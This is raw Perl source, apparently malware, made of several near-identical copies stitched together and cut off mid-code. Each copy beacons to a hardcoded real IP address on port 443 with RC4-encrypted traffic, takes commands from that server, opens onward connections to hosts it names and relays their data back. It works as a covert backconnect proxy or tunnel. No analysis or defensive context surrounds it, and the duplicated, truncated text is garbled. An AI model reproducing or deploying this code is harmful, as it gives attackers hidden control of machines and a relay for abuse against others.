shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.163'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.162'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.161'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); 